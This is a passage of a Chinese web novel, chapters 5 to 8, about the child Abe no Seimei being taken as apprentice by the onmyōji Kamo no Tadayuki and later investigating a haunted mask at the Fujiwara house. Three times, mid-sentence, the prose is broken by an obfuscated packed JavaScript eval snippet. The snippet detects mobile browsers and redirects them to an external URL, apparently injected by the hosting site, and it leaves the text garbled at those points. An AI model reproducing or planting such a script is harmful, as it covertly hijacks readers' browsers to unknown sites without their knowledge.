“怎么回事?贺茂卿。”天皇坐在高台上的帷幔后,自然将一切都看得一清二楚。 贺茂忠行收回目光,笑着往天皇的方向鞠了一躬,说:“看起来是鬼过于喜欢这次的贡品,才会想要带一点回去慢慢享用。” “那又为何会停留在安倍卿身边?”天皇显然也不是那么好骗的。 “这个嘛……”贺茂忠行用折扇抵住了嘴唇:“或许是有人天生灵力,困得住妖鬼,不过这还要进一步确认才行。” “倘若真是这样,实乃陛下洪福。”贺茂忠行轻轻抛起手中的苹果又接住,晴明的目光紧随着那只苹果,不过他看到的不仅仅是苹果,还有鬼。 三四只奇形怪状的鬼争夺着苹果,谁都不肯相让。 5. 第五章:贺茂忠行 “真是座很好的宅院啊。”贺茂忠行还没迈进安倍家的大门,他就这样感叹道。 安倍益材没应声,他总觉得贺茂忠行话里有话。 说实话,安倍益材一点也不想把这个大阴阳师带到他家里去。 贺茂忠行在天皇面前说的那一句“天生灵力”让他心惊肉跳,疑心对方或许已经看穿了晴明的身份。 但这是没有办法的事,毕竟这件事已经被天皇知道了,如果他们不能给天皇一个满意的答复的话,天皇大概是不会罢休的。 “保宪,感觉到什么没有?”贺茂忠行摇了摇手中的折扇,回头去问那个跟在他身后,仍然捧着太刀的孩子。 此时他们已经走进了安倍家的庭院。 “这附近阴气很重。”名叫保宪的孩子四处看了看,疑惑地问:“但是为什么一点都没有侵入……” 一点儿都没侵入到这座宅院里,甚至,还能够从这座房子里感受到一股灵气,虽然微弱,但这种灵气通常很难形成,按照常理而言,只有人迹罕至的深山之中才具备灵气生成的条件。 “你只知其一,不知其二。”贺茂忠行轻轻用折扇敲了敲保宪的脑袋,责备的意味并不是很强:“阴气聚集,只是为了作祟害人吗?” 那还能是因为什么?安倍益材在一旁听着,完全不明白贺茂忠行说这些的用意。 “妖鬼有依附于强者的天性,它们聚集在这儿,多半是把住在这里的人当成了大妖怪。”贺茂忠行徐徐说道:“今天仪式上那只鬼也是如此,它献上自己的供奉,以此恳求强者庇佑于它,而这个强者嘛……” 贺茂忠行笑着,继续说了下去,意有所指:“妖狐之子天生灵力,和那些不入流的小鬼比起来,确实算是个强者。” 安倍益材一下子面如土色,几乎是下意识地挡在了晴明身前。 贺茂忠行慢悠悠地摇着折扇,不急不徐地说:“你倒是不必这样担心,如果我想对这孩子不利,刚才在天皇面前动手岂不更好?何苦还要撒谎骗他呢?” 他竟然把欺骗天皇这种大逆不道的事说得这样轻描淡写。 “进去说吧。”安倍益材稍微放松了一点,但精神还是紧绷着。 他们进到里屋,屏退所有仆人,安倍益材这才问道:“贺茂大人,您的意思是……” “虽然稚子无罪,但有些事还是要确定一下的。”贺茂忠行在晴明面前摊开了自己染血的手掌,解开包扎用的布条,任由伤口暴露在空气中,含笑问道:“感觉如何?” 晴明犹豫了一下才问:“您……不疼吗?” 贺茂忠行闻言,大笑起来,他一边笑,一边摸了摸晴明的头,说:“好孩子,你可知道,我为什么要割破手掌?” “因为它们想要您的血。”晴明回答得很快,因为他亲眼看见了鬼贪婪地舔舐那枚苹果表面沾染的血的情景。 “你果然看得见。”贺茂忠行点头微笑:“也是,狐妖之子,自然是天生开了心眼的。” 心眼,那是一种很特殊的能力,绝大多数人需要经历过训练才有可能打开心眼,从而,借助心眼看见那些隐匿了身形的妖鬼。 但是总有极少数人天赋异禀,天生便可见鬼,而这种人往往能于阴阳一道取得很高的成就。 安倍益材皱了皱眉头,很不喜欢贺茂忠行一口一个“狐妖之子”的行为,于是他毫不客气地问:“您究竟想说什么?” “我相信你也很担心这孩子的未来。”贺茂忠行一边说,一边重新包扎好了自己手掌的刀伤:“他年岁愈长,灵力愈强,如果任由他自己发展而不加控制,恐怕终有一天会酿成大祸。” “……”这话正说中了安倍益材的心事,他不知不觉地坐直了。 “稚子无辜,我更不是什么见到妖怪就赶尽杀绝的人,而且我刚刚试过了,这孩子似乎并没有什么饮血的本能。”贺茂忠行举起那只受伤的手,笑眯眯地晃了晃。 “所以,我有个主意,我会向天皇禀报说这孩子天生灵力,是个可造之才,然后我收他为徒,把阴阳道传授给他。”贺茂忠行想了想,又解释说:“你尽管放心,我并没有什么其他图谋。早年间我游历山林的时候,曾与狐妖讲论过阴阳之术,受益匪浅。如今我把阴阳术教给这孩子,就当作是还了狐妖的情分了。”他这话说得坦坦荡荡,叫人丝毫生不起疑心来。 “那天生灵力这件事会不会被怀疑……”安倍益材的心稍稍有些松动,贺茂忠行的提议听起来十分诱人。 贺茂忠行笑起来:“没有人会因为阴阳师能看见鬼而去怀疑他不是人类。” “而且,”贺茂忠行拍了拍那个叫保宪的孩子的肩膀,说:“我儿子保宪,同样也是天生灵力,自小便能看见妖鬼,至今也没人把他当成过妖怪。” 安倍益材张了张嘴,还没等他说话,心脏骤然一阵抽痛。 他几乎都要忘了葛叶给他下的这个咒术了! 贺茂忠行神色一肃,起身扶住安倍益材,喃喃着:“原来如此,我还以为……”他摇了摇头,没再说下去,从衣服内怀摸了张符出来,往安倍益材心口上一贴,低声说道:“咒印驱散,急急如律!” 他足足念诵了十数次咒语,安倍益材才疼痛稍减,接着,呕出了一大团雪白色的狐狸毛发,等到狐狸毛吐尽之后,那种叫人难以忍受的痛苦便彻底消失了。 “这……我什么时候吃下去的?”安倍益材缓过劲来,看到那堆狐狸毛发不禁愕然。 “这不过是咒的凭依形态而已,它既可以是毛发,也可以是任何一种物品,而通常情况下,咒的凭依形态与施咒者有莫大的关联。”贺茂忠行尽量通俗地解释,但安倍益材还是听得半懂不懂。 “我记得你,或者说是记得你身上的咒。”贺茂忠行忽然又说:“是三年前吧,我与人辩论关于妖怪的事,你当时就躲在一边。” 提起这件事,安倍益材脸上有些发烧。 “我当时是先注意到你身上的咒,然后才注意到你这个人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460580|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺茂忠行继续说:“这种咒十分特殊,必须耗费掉半生修为才能施展。所以,如果不是真的有很深的执念的话,谁也不会选择下这种咒的。” “当时我想,既然对方不惜牺牲修为也要对你下咒,而这种咒又不会致死,那我又何必插手多管呢?”贺茂忠行这个人有时候坦诚得叫人有点难以接受。 “不过现在看来,下咒的是这孩子的母亲吧?”贺茂忠行猜测道:“为了让你好好照顾这孩子,不把他交给别人?”虽然这不是完整的事实,但也被他猜了个八九不离十。 安倍益材点了点头,后怕地按住了心口。 贺茂忠行了然地一笑,既然刚才那个咒会发作的话,那就证明安倍益材已经对他的话动心了。 对于这个孩子,他势在必得。 实际上,他还有另一个不能宣之于口的理由,眼下朝政之间暗潮汹涌,势力驳杂,他贺茂忠行虽然精于阴阳一道,但要凭借这一点就想在朝廷立足还是远远不够的。更何况现在因为他受天皇宠信,眼红他位置的人不少,而信服他的人不多。 如果他能培养出一批强大的阴阳师,他未来也就不用再担心自己的地位被人动摇了。 “如果他跟你们去了,那他……”安倍益材犹豫了一下,最后还是说了下去:“他还能回家来吗?” 贺茂忠行一笑:“当然,学阴阳术又不是禁足,他随时都可以回来的。” “晴明。”安倍益材似乎有些不忍,但他最后还是说:“你跟这位贺茂大人去吧。” 晴明歪了歪脑袋,问:“阴阳术是什么?” 贺茂忠行伸手去衣袖里摸出了一张白纸剪成的动物,也不知他念了句什么话,那张白纸竟自己跳了起来,而且逐渐变得立体,越来越像一只真正的动物,最后,白纸变成了一只长着两条尾巴、模样很凶恶的黑猫。 “猫又,我的式神。”看到安倍益材惊愕的神情,贺茂忠行用折扇压住了唇角:“这就是阴阳术。” 传说猫是一种有灵性、很容易变成精怪的动物,每活过九年便会多长出一条尾巴,这样的猫便被称作“猫又”。 猫又生性残忍,喜好食人,而且睚眦必报。 只见猫又先是在地上伸了个懒腰,充分伸展了一下它柔软的身体,然后才龇开了满口利齿,问:“贺茂大人,这次你想撕了谁?”虽然它口称“贺茂大人”,但语气可没有任何恭敬的意思。 贺茂忠行好像完全不在意猫又说的那句杀气腾腾的话,他笑道:“这次没什么事叫你做,我不过是展示一下阴阳术而已。” 猫又嫌恶地啧了一声,转头去扑自己身后摇晃着的两条尾巴,不再搭理贺茂忠行。 晴明还是第一次见到,他从小就喜欢这些毛绒绒的动物,当即也不顾猫又龇牙咧嘴地冲他咆哮,强行把猫又抱在了怀里。 “想学吗?”贺茂忠行低声说,诱哄似的:“我可以教给你。” “我可以带明美子一起去吗?”晴明眼睛亮亮的。 6. 第六章:难相见 “明美子?是说她吗?”贺茂忠行喃喃地念了段咒语,座敷童子的身形随即不受控制地显现了出来。 明美子蜷缩在一个墙角,瑟瑟发抖,脸色似乎比之前更苍白了些。 猫又就像被谁踩了尾巴似的一跃而起,龇开满口尖牙就要扑过去,却被贺茂忠行轻而易举地揪住后颈,提了起来。 “她躲在这儿偷听有好一阵子了。”贺茂忠行轻松地拎着不断咆哮挣扎的猫又,顺口又念了一句:“现成真姿。”猫又的身体便迅速缩水,变回了白纸一张,被贺茂忠行揣回怀里。 “阴阳师,如果你敢骗晴明的话,”明美子嘴唇颤抖着,但还是努力鼓起勇气,把话说完了:“我不会放过你的。” 眼前这两个穿着狩衣的人,身上沾满了她最害怕的味道,但是无论如何,她都要保护晴明。 如果不是晴明,她大概永远都不可能拥有一个名字,更不可能拥有一个家。 她死的时候,还没有来得及见识到世间险恶,所以这些年来,她始终赤诚如一,永远不改。 晴明不懂明美子为什么害怕,但他知道明美子需要安抚,于是他走过去,握住了明美子冰凉的手。 “明、美、子。”贺茂忠行咀嚼着这个名字,笑问晴明:“你给她取的?还真是好运气。” “这是什么意思?”安倍益材问。 “也许你也听说过,名字是一种最简单的咒,普通人取名倒是没什么。”贺茂忠行用折扇点了点明美子的方向:“但如果是身怀灵力的人为妖鬼取了名字,这个名字就会成为束缚他们二者的咒。” “这种束缚与式神契约类似,但又有很大不同,就拿晴明这孩子和明美子举例来说吧。”贺茂忠行徐徐说道:“明美子接受了这个名字,即视为契约达成,通俗一点来讲,提供名字的晴明现在变成了接受名字的明美子的主人。” 晴明和明美子互相看了一眼,他们俩都是第一次听说这种事。 明美子没等贺茂忠行继续往下说,急切地问:“我和晴明的这种契约对他有伤害吗?” “他会把他的灵力分给你一部分,让你变得更强一些,这一点我相信你也感受到了。”贺茂忠行一点儿也没因为明美子打断他的话而生气,好脾气地解释说:“出现什么伤害倒是不至于,毕竟你也不是什么实力强劲的鬼,所需求的灵力微乎其微,对晴明来说,几乎造不成任何影响。” “你说晴明现在是我的主人……”明美子又问:“可我并没有感觉到什么束缚,这又是怎么回事?” “这就是这种契约关系的问题所在了。”贺茂忠行展开折扇摇了几下:“这种契约只影响到命名的主人,而对被命名的妖鬼的束缚能力极小,所以很少有人愿意给妖鬼取名,相比之下,还是式神契约更加稳妥一些。” 原来是这样,安倍益材暗忖。难怪晴明给座敷童子取过名字之后,座敷童子就在他面前显了形,而这个座敷童子的心智更成熟说不定也是这个名字造成的影响。 明美子沉默不语,少顷,她抬起头,坚定地说:“不论这契约对我有没有约束力,我都会保护他,还有这个家。” 贺茂忠行笑了笑,不以为意。 在他看来,一个孩子的承诺实在算不了什么,天真的孩子话而已,说不定用不了几天就全部忘记了。 “跟我走吗?你可以带着你的小朋友一起。”贺茂忠行又问了一遍。 还没等晴明回答,明美子就先表了态:“我不能走,如果我离开这儿,住在这里的安倍大人恐怕会遭遇不幸的。” 明美子这话并不是危言耸听,座敷童子的确是为人带来福运的鬼怪没错,但是一旦它们离开原本居住的房屋,房屋的主人一定会立即倒霉。 所以大家才会千方百计地把座敷童子留在自己家里,有时候甚至不惜请来法师将它们封印住,不让它们离开,只为了避免召致不幸。 不过没人知道座敷童子会有这样的特性,或者说也根本没人关心这点小事。人们只需要知道座敷童子可以带来福运,那对他们来说,就已经足够了。 “那我……”晴明还在犹豫,安倍益材已经替他做好了决定。 安倍益材站起来,向贺茂忠行深深鞠了一躬,说:“麻烦贺茂大人了,请今天就把他带走吧,我稍后会把他的东西送到贺茂大人府上的。” “哦?”贺茂忠行有些意外,皱了皱眉,不过很快就想明白了安倍益材这样急着送走晴明的原因,唇角一弯,随即又用折扇压了下去。 安倍益材这样心急,大概是怕他反悔吧。 殊不知他贺茂忠行才是更怕反悔的那一个。 贺茂忠行说了个地址,笑道:“就把这孩子的东西送到那儿吧,安倍大人放心,我贺茂忠行绝不会苛待他。” 这两个人你一句我一句,就这样把晴明未来的去处定了下来。 “父亲大人!”晴明显然不愿意跟一个刚认识的人离开,他试图让安倍益材回心转意,但后者只是摸了摸他的头,说:“去吧,这是为你好。总有一天我保护不了你,但这位贺茂大人可以。” 安倍益材移开了目光:“愿意回来的话,那就随时回家来看看,我也会去看你的。” “好好听这位贺茂大人的话,不要惹他生气,知道了吗?”安倍益材似乎还想说点什么,可他什么也没再说,伸手把晴明推给了贺茂忠行。 安倍益材自己也不知道这个决定是不是正确的,他只是个普通人,既不通阴阳也不懂占卜,但他身为人父,必须替自己的孩子寻求一个更加光明的未来。 而这样的未来他给不了。 贺茂忠行是唯一的机会,即使他并不能完全信任这个满口谎言的阴阳师。 他根本不相信贺茂忠行口中“偿还狐妖半师之情”这种真假难辨的话,毕竟,你能指望一个连天皇都可以欺骗的人有什么信誉吗? 但是安倍益材别无选择,如果他不肯把晴明交到贺茂忠行手里,也许这个阴阳师转头就能把晴明狐妖之子的身份公诸于众。 相反,晴明入了贺茂忠行门下,那么从此不论贺茂忠行是否真心想要庇护晴明,他都必须保证晴明的身份不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460581|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能暴露,甚至可以说到了那个时候,贺茂忠行比安倍益材更害怕晴明半人半狐的血脉被人察觉到。 毕竟安倍益材还可以辩解说自己并不知道葛叶的身份,但是贺茂忠行要怎样为自己开脱呢? 如果说自己是受了狐妖蒙蔽,那么贺茂忠行作为阴阳师的生涯就走到了尽头,谁会叫一个分辨不出妖怪的阴阳师为自己占卜呢? 而若是不这样说,那就代表贺茂忠行明知故犯,把一个具有一定威胁性的妖怪留在了自己身边,甚至还把阴阳术尽数传授给这个妖怪,这样一来,贺茂忠行的罪过就更大了。 这才是安倍益材的算盘,从今以后,晴明和贺茂忠行的命运就绑在了一起,一荣皆荣,一损皆损。 而贺茂忠行为了保住自己,他必然会想方设法保住晴明。 安倍益材转过身去,听着晴明和贺茂忠行父子离开的脚步声,笑了一笑,眼前稍稍有点模糊,他下意识地快速眨了眨眼睛,不让眼中聚起的水雾掉下来,然后才后知后觉地记起来,晴明已经走了,他不需要再保持自己无坚不摧的父亲形象了。 他这样做是对的,这是为晴明好。 安倍益材反复这样告诉自己,机械地迈开步子走到了晴明的房间。 他得给晴明收拾东西…… 明美子也跟着去帮忙,一直到了这个时候,安倍益材才意识到他这个做父亲的,对晴明的了解甚至还不如这个座敷童子多。 他既不知道晴明喜欢月白色,也不知道晴明在睡觉的时候总是把自己缩成小小的一团。 他做父亲还真是不称职。安倍益材自嘲地笑了笑,然后要求明美子再多说一点晴明的事。 说起来,这还是自从明美子在他面前显形以来,他第一次心平气和地跟她说话,完全不顾虑这些对话会不会被人听去。 也是第一次,他认认真真地叫她:“明美子”,算是真正承认了这个名字。 晴明取的名字。 最后收拾出来的东西装了满满一辆车。 所有可能用得到的、可能用不到的东西都带上了,有些安倍益材想不到的方面,明美子还为他做了补充。 送东西去贺茂府上的时候,安倍益材没见到晴明,据接应的仆人说,贺茂忠行带晴明熟悉拜师仪式上的步骤去了。 这样就很好了,安倍益材想,晴明大概也早就受够了他管东管西,贺茂忠行不会限制他表现出的任何才能,这样经过比较之后,晴明很快就会烦透了他,像这样不必见面,就很好了。 贺茂忠行是个守诺的人,他当着所有贵族和官员的面,向天皇禀报,说晴明是个难得的、天生灵力的孩子,天赋不亚于他的儿子贺茂保宪,他已经把晴明收作弟子,料想未来必有一番成就云云。 安倍益材也在场,看着跟在贺茂忠行身边、换上了一身月白色狩衣、垂手侍立的晴明。 晴明低着头,沉默安静,一如既往。 安倍晴明,从此不再是他一个人的安倍晴明。 他属于阴阳道,属于阴阳两界,唯独不再属于他自己。 7. 第 7 章:占覆 夏日炎炎,恰是人最困顿的时节。 两个男孩儿年纪相仿,躲在贺茂忠行庭院边、高墙的阴影下,盘膝对坐,他们中间放着一副棋盘。 日本将棋。 这两个孩子中间年纪稍长的也不过十三四岁模样,坐得端端正正,双手搭在膝头。即使是在这种天气下,他也把狩衣穿得整整齐齐,一毫不乱,即便额头上大汗淋漓,也不肯把衣领扯松哪怕一点点。 这是贺茂保宪,贺茂忠行的长子。 另一个男孩儿则刚好相反,他为了贪凉,满不在意地脱去了厚重的狩衣,旁若无人地打着赤膊,毫无作为贵族子弟的自觉。 十一岁的安倍晴明,懒懒地支着下巴,眼睛半开半合,完全一副昏昏欲睡的样子。 这个年纪的男孩子五官尚未完全长开,但令人不安的是,晴明的面孔此时已有了三四分白狐的影子,眼眸细长,眼尾向上微微挑起,偏生他又喜欢眯起眼睛看人,这个习惯令他的模样更像是狐狸了。 贺茂忠行的院子里种满了名贵的花卉,其中却杂着不少普通的桔梗花。这种野花生命力极其顽强,贺茂忠行始终除不尽它们,无奈之下,便也只能随它们去了。 不远处,桔梗花开遍了庭院,浅浅淡淡的蓝色泼洒得随处可见,似乎凭空给夏日带来了一丝清爽。 晴明的目光从贺茂保宪的肩膀上空穿过,径直落在了一丛盛开着的桔梗花上,不知怎么的,他似乎突然对这种普通的野花产生了极大的兴趣,令人怀疑他是不是又看见了什么常人看不到的东西。 “晴明,晴明?”贺茂保宪一连叫了他好几声,晴明才把注意力从桔梗花上挪开,转移到他面前的师兄身上,未语先笑:“嗯?怎么了保宪师兄?” 贺茂保宪指了指棋盘:“到你了。不过你刚才在看什么这么入神?”贺茂保宪扭过头,往晴明刚才看的方向张望了一阵,但他根本没找到任何值得注意的东西。 晴明随手挪动了一枚棋子,笑道:“没什么,只是忽然觉得桔梗花的形状很有趣罢了。”然后他继续懒懒散散地托起了下巴。 “桔梗花有什么特别的,有时候真是搞不懂你。”贺茂保宪嘀嘀咕咕地说,也跟着移动了一下棋子。 晴明不答,只是笑,细长的狐狸眼因这一笑而又眯了起来。 棋到中局,晴明毕竟年纪小些,棋艺尚欠火候,他的棋子被贺茂保宪杀伤了大半,连最重要、能够决定胜负的棋子“王将”都陷入了危机之中,被吃掉只不过是时间问题而已。 输了棋,晴明也不着恼,还是那副懒懒的样子,不过稍稍认真了一点,试图让王将逃出重围。 忽然,门被叩响,而且是一连串急促的叩门声。 贺茂家自有仆人应门,因而贺茂保宪和晴明谁也没起身。 “来找师傅的。”贺茂保宪往门的方向望了一眼。他自幼便师从贺茂忠行,习惯上一直称自己父亲为“师傅”。 晴明一笑:“显而易见,而且是来请忠行师傅驱鬼的。” 贺茂保宪来了兴趣,朝大门的方向抬了抬下巴:“占覆,来一局?” “来。”晴明此时才终于有了点十一岁孩子该有的胜负心,他不知不觉地坐直了。 占覆是一种阴阳师之间常玩的占卜游戏,占,意为占卜,覆,则是将某物盖住。占覆,即指通过卜算,猜出那个被盖住的物品,也可引申为占卜出被隐藏的内容等等。 占覆的特点是猜物范围极其宽泛,欺世盗名之徒绝对不可能凭空猜出答案。因此,占覆经常被用来测试阴阳师的占卜能力,贺茂忠行也常用这种方法来考较贺茂保宪和晴明两人的功课。 “你先来吧。”贺茂保宪很是大度。 通常而言,第一个做占卜的人总是更容易一些,心理压力也更小,贺茂保宪身为师兄,让着晴明也是理所应当。 晴明也不客气,不假思索笑道:“以此棋局入卜,‘王将’受你二子所困,走投无路,却并非无法可解,若是求助于‘龙王’,此局易破。”说着,他移动了一下自己的棋子“龙王”,接着又道:“此人身边必有二鬼,时时作祟,却不夺人性命,只叫人惊怖惶惶。想来如今必是闹得利害,不得已才来找贺茂师傅。” “好啊,这局棋倒是助了你了。”贺茂保宪听了,知道晴明已把事情猜了个大半,他也不急,往大门的方向一指,说:“此人叩门,初叩三下,不疾不缓,后渐急渐快,可见他家里妖鬼作祟之事也同样如此,初时不甚严重,还未引起重视,近日里却越发变本加厉,到了无法忽视的程度。而此人叩门甚久,家仆却迟迟未至,是仆人倦怠失职,料想多半是此人供奉神明之时,他家里的仆人或是提供了不新鲜的供奉,或是弄脏了贡品,总之,必然是冲撞了神明,才引来神明的怨气。” 晴明沉吟一下,说:“这话有理,但有一处不通:祭祀和供奉神明这种大事,贡品等物多数都是主人家亲自准备,很少假手于人。依我看,若按你方才说的,似乎解释为付丧神作祟更为合适。” 长期放置不用的东西便会化为妖怪,这类妖怪被称作是付丧神,这是一种很常见的小妖怪,能力也不强,最多也只能在主人准备取用它们的时候悄悄躲一下,或是夜里发出些怪声来吓唬人而已。 很多人都有过“某件东西明明记得在某处看见过,但无论如何都找不到”的经历,那就很有可能是付丧神在作祟了,多数的付丧神对人并没有恶意,只是喜欢开一点儿小玩笑罢了。 毕竟人们把它们长期弃置一旁,会遭到它们的恶作剧报复也在情理之中,更何况这些恶作剧根本无伤大雅。 “可是付丧神怎么会把人骚扰到这个地步?”贺茂保宪自然也知道根据占卜的结果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460582|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 付丧神作祟的可能性更大一些,但他自己否决了这个可能。 “这我就不知道咯。”晴明又松懈下来,懒懒地说:“不过我看到那个人现在已经被仆人带进来了,不如师兄你去问问,印证一下?” 占覆的另一特点是可以当场验证占卜结果,如果不这样的话,占覆也就失去了它的意义。 贺茂保宪当真站起了身,不过并没去找对方直接询问,而是理了理狩衣的衣角,以确保自己没有任何不得体之处,然后他笑对晴明说:“倒也不必特意去问,既然他过来找师傅,那必然会将家中之事全部说给师傅。我先走一步,至于你,”贺茂保宪自得地拍了拍身上的狩衣,笑道:“还是把衣服穿好了再去见师傅吧,师傅见了你这副模样,怕是又要骂你。” 贺茂保宪施施然地走了,只留下晴明独自还坐在原地,慢慢地收拢起那一局残棋。 末了,他拿起之前丢在一边的月白色狩衣,一件件重新穿好,眼眸懒懒地垂着,他似乎总是一副对什么都不太在意的神态。 最后他站起身来,低头看了看身上擦不干净了的尘土和草的汁液,这都是刚才不留神的时候蹭上去的。 “这个样子恐怕也是要挨骂的。”晴明喃喃自语:“早知道这样,还不如不穿了,白白受这份罪。” 不过说归说,晴明也不是不知礼数的人,安倍益材和贺茂忠行无数次地教过他身为贵族的礼节,他就算再惫懒也不会在这种事上犯浑。 于是晴明趁着没人注意,悄悄溜回了自己房间,找了套新狩衣换上,不过因为狩衣脱换程序极为繁琐,等到他终于把自己拾掇成了可以见外客的程度的时候,那客人已经把家中妖鬼作祟的事情同贺茂忠行讲过一遍了。 那客人穿着一身黑色的朝服,一看便是身份显赫的贵族,不过贺茂父子和晴明对于贵族来求助他们这种事早已经习以为常了,毕竟他们还常常为天皇占卜,相比之下,一个贵族实在算不上什么。 “怎么这么慢啊。”趁着贺茂忠行在向客人确认妖鬼作祟的具体细节,贺茂保宪悄悄埋怨晴明:“你都不知道你错过了什么,好家伙,这次的鬼恐怕不好应付。” 晴明也悄悄地笑道:“先不提这个,刚才占覆是谁说对了?” 贺茂保宪倒也不隐晦:“还真是付丧神,听那样子是面具化成的付丧神。不过倒是真奇怪了,这位大人说,那个面具在他们家里放了有几十年了,一直没作过祟,前几天却忽然闹起来,还越闹越厉害了。” “面具是通灵之物,变成什么样子都不奇怪。”晴明一边说着,一边往客人那边看了一眼,那客人约莫四十来岁,满面愁容,精神极其萎靡,他正紧紧地抓着贺茂忠行的手,仿佛抓住了救命的良药。 “晴明,保宪,准备东西,跟我去这位藤原大人家里去看看。”贺茂忠行威严地下达了指令。 8. 第八章:面灵气 藤原兼家一向浅眠。 因此,当房门外走廊上传来脚步声的时候,他立刻就被惊醒了。 他起初没太在意,因为那脚步声实在有些响,不像是窃贼发出的声音,但是时间长了,那声音似乎越来越大,而且一直在他房门前徘徊不去。他总觉得不安,便披上衣服起来查看。 藤原兼家推开门一看,一个衣着单薄的女子背对着他,在走廊上游魂似的慢慢走着。 藤原兼家松了口气。 他认出了这个背影。 这是他的小女儿,藤原绥子,还未曾许配给人。 他原本是打算把她送去给天皇做妃的,就像她的两个姐姐一样。 但她年纪尚小,此事不急。 “你在这儿做什么?绥子?” 藤原绥子回过头来。 月光之下,藤原兼家看清了他女儿的脸,顿时大叫一声,面如土色。 他看到了一张鬼面。 “所以说,是这位藤原大人的女儿把面具戴在了脸上,还摘不掉了?”晴明一边跟着贺茂忠行的牛车慢慢走,一边偏过头去问他身边的贺茂保宪。 在路上的这段时间,贺茂保宪已经把那面具作祟的具体情形全部讲给了晴明,不过看到晴明镇静的样子,贺茂保宪不由得有点失望,他原本指望拿这件事来吓一吓晴明来着。 “是啊,而且据藤原大人说,自从他女儿带上面具之后,行为就越来越诡异了。不过还真奇怪,面灵气怎么可能会有这么强的能力?”贺茂保宪百思不得其解。 面具形成的付丧神叫作面灵气,在所有的付丧神之中,面灵气是最常见的一种,这是因为面具从被制作出的那天起,就带有灵性,不过,即使是变成了面灵气,它们的能力也并不比其他的付丧神强多少,顶多也只能在夜里悄悄移动一下位置而已。 晴明想了想,说:“也许还有其他的东西在呢?刚刚占覆的时候,我占到的结果是有两只鬼存在的。” “还在想这个啊。”贺茂保宪且笑且叹,他走着走着,忽然发觉周围的景物有些熟悉,便悄悄用胳膊撞了撞晴明,说:“你看看,是不是快到你家那边了?等这事儿完了,不回去住两天?” 晴明还真没留意到这个,他一直在想面灵气的事,听见自家师兄的话,才恍然惊觉自己已经走到了自己家附近。 “倒是好久没见到明美了。”晴明不说要回去看父亲,却说自己有点想念从小陪伴他的座敷童子。 晴明一向如此,似乎和自己父亲的感情很淡,贺茂保宪虽说是师兄,但毕竟是个外人,也不好对别人的家事多说什么。 藤原兼家的宅子和安倍家距离很近,二者之间只隔着一条街。 贺茂忠行没急着进宅院,先在宅院外面转了转,眉头皱得更紧了。 虽然贺茂忠行没说什么,但贺茂保宪和晴明都明白贺茂忠行的意思,他们跟了贺茂忠行这些年,已经学到了不少东西。 按理说,有妖鬼作祟的宅子里,周围应该围绕着不少阴气。但是在这里,他们却感受不到一点阴气,相反,这里风水极好,甚至还萦绕着一丝若有若无的瑞气。 但显然藤原兼家不会在这种事情上说谎骗人,他说有鬼,那就一定有。 看得到的东西并不可怕,看不见的东西才可怕。 这句话不仅仅适用于阴阳师。 贺茂保宪和晴明对视一眼,都从对方的眼中看到了惊疑。 他们俩还没遇到过这种情况。 因为贺茂忠行会根据委托者的描述来判断作祟妖鬼的危险性,从而决定要不要带上他们两个。 他们年纪还小,须得循序渐进,急不得的。 而这一次,贺茂忠行显然只是把对方当成了能力稍强一些的付丧神,没有太把它当成一回事。 而无论这个作祟的鬼是学会了隐藏阴气还是别的什么,显然它都不是什么好相与的角色。 贺茂忠行则气定神闲得很,他向藤原兼家微微一点头,后者立刻明白了他的意思,引领着贺茂忠行,走进了宅院。 贺茂保宪和晴明只得跟上。 藤原兼家的庭院无疑是布置得极为讲究的,比贺茂忠行的院子气派很多,贺茂忠行跟在藤原兼家身后,走在碎石子铺就的花园小径上,不着痕迹地打量着这座精致的庭院,脸色微沉,不知在想什么。 藤原氏几代都是天皇最宠信的重臣,权倾朝野。不论是他们手中掌握的权力,还是他们的家学渊源都绝非是贺茂忠行这个小小的阴阳师可比拟的。 他们刚走到庭院的中间,就忽然听到了一阵激烈的吵闹声。 紧接着,一只血红色脸盘、头上生角的鬼猛地窜了出来,龇开尖利的犬齿朝他们扑过去,贺茂保宪冷不防被吓了一跳,下意识就要掏符咒,却被晴明拦住:“师兄,别动手,这不是鬼。” 不是鬼?不是鬼怎么会长成这个样子? 藤原兼家走在最前面,自然是第一个与“鬼”狭路相逢,而他竟然是一副完全不害怕的样子,一把揪住了“鬼”的胳膊,试图把“鬼”辖制住,但那“鬼”似乎力气极大,轻轻松松就从藤原兼家手里挣脱了出来,还把他推了个趔趄。 “鬼”像是无意伤人,推开了藤原兼家之后,转身就往外跑。 几个半大的男孩子也跟着追了出来,但那“鬼”速度极快,更兼以身子灵活,一时间谁也抓不到它。 “贺茂大人!请帮忙拦住她!”藤原兼家崴了脚,一瘸一拐地,根本追不上那只“鬼”。 